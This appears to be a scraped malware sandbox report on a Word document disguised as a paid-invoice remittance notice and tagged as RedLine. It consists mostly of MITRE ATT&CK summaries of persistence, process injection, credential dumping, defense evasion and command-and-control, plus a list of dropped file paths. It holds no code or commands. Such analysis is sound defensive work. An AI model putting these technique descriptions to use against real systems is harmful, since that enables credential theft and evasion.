Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\notorious[1].doc

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D9B70A7F.doc

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2C526506-4FBE-42A0-959C-39EA9B65EB40}.tmp

Windows Analysis Report
Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre